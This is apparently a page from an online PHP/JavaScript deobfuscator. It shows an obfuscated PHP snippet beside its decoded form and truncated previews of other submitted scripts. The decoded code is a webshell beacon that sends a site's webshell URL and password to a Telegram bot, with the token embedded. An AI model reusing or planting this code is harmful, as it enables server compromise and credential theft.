Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

if (array_key_exists("watching", $_POST)) {
    ${"\x5F\x70\x77\x6E"} =     "\x57\x65\x62\x73\x68\x65\x6C\x6C\x20\x55\x72\x6C\x3A\x20" .
        ${"\x5F\x53\x45\x52\x56\x45\x52"}[
            "\x53\x45\x52\x56\x45\x52\x5F\x4E\x41\x4D\x45"
        ] .
        ${"\x5F\x53\x45\x52\x56\x45\x52"}["\x50\x48\x50\x5F\x53\x45\x4C\x46"] .        "\x25\x30\x41\x50\x61\x73\x73\x77\x6F\x72\x64\x3A\x20" .
        ${"\x5F\x50\x4F\x53\x54"}["\x70\x61\x73\x73"];
    ${"\x5F\x34\x30\x33"} =      "\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65";
    ${"\x5F\x34\x30\x36"} =        "\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"; $_406($_403("\141\110\x52\x30\x63\110\x4d\x36\x4c\171\x39\150\143\x47\x6b\165\144\107\x56\x73\x5a\127\144\171\131\127\60\165\142\63\x4a\156\114\62\x4a\x76\x64\x44\147\61\x4d\x6a\143\65\x4e\x7a\125\171\x4e\x54\x6b\66\x51\x55\106\x48\x52\x30\x78\x59\x57\x54\x56\x6a\x62\x31\102\x57\x4e\x47\x78\121\x4d\110\x6c\105\x4d\104\x51\x31\122\x6a\x4a\62\x61\110\x64\x75\114\125\x35\x58\x54\x6e\105\x33\131\152\x67\166\x63\62\x56\x75\x5a\105\61\x6c\x63\63\116\x68\132\62\x55\57\131\62\150\150\x64\x46\71\x70\x5a\104\60\64\116\x44\x63\64\116\152\x49\x7a\x4e\172\143\x77\112\x6e\x52\154\145\110\121\x39") . $_pwn);
}

Decrypted code:

if (array_key_exists("watching", $_POST)) {
    ${"_pwn"} =     "Webshell Url: " .
        ${"_SERVER"}[
            "SERVER_NAME"
        ] .
        ${"_SERVER"}["PHP_SELF"] .        "%0APassword: " .
        ${"_POST"}["pass"];
    ${"_403"} =      "base64_decode";
    ${"_406"} =        "file_get_contents"; $_406($_403("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdDg1Mjc5NzUyNTk6QUFHR0xYWTVjb1BWNGxQMHlEMDQ1RjJ2aHduLU5XTnE3Yjgvc2VuZE1lc3NhZ2U/Y2hhdF9pZD04NDc4NjIzNzcwJnRleHQ9") . $_pwn);
}

Recent submissions:

if (array_key_exists("watching", $_POST)) { ${"\x5F\x70\x77\x6E"} = "\x57\x65\x62... <?php /** * ═════════════════════════... <?php /*obf by kakatoji, please dont be edit*/define("��", "\x67\x7a\x64\x65\x63\x6... <?php eval(base64_decode('CiBnb3RvIGJRWkxCOyBneTllczogJHN0YXR1c2VzID0gYXJyYXkoIlx4NTBcMTQ1... return(function(L,Z,Y,D,x,k,f,V,c,B,t,Q,A,y,m,u,w,W,p,a,U,N,E,X,K,v,G,g,F,H,J)H={};local O... "{\x22invoiceId\x22:\x22260116BTGu16BASKosse\x22,\x22status\x22:\x22success\x22,\x22payMet... \x95\x00\x80... \x6e\x6f\x6f\x62\x20\x6e\x6f\x6f\x62... <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <script> Funct... <?php if(!function_exists('sg_load')){$__v=phpversion();$__x=explode('.',$__v);$__v2=$__x...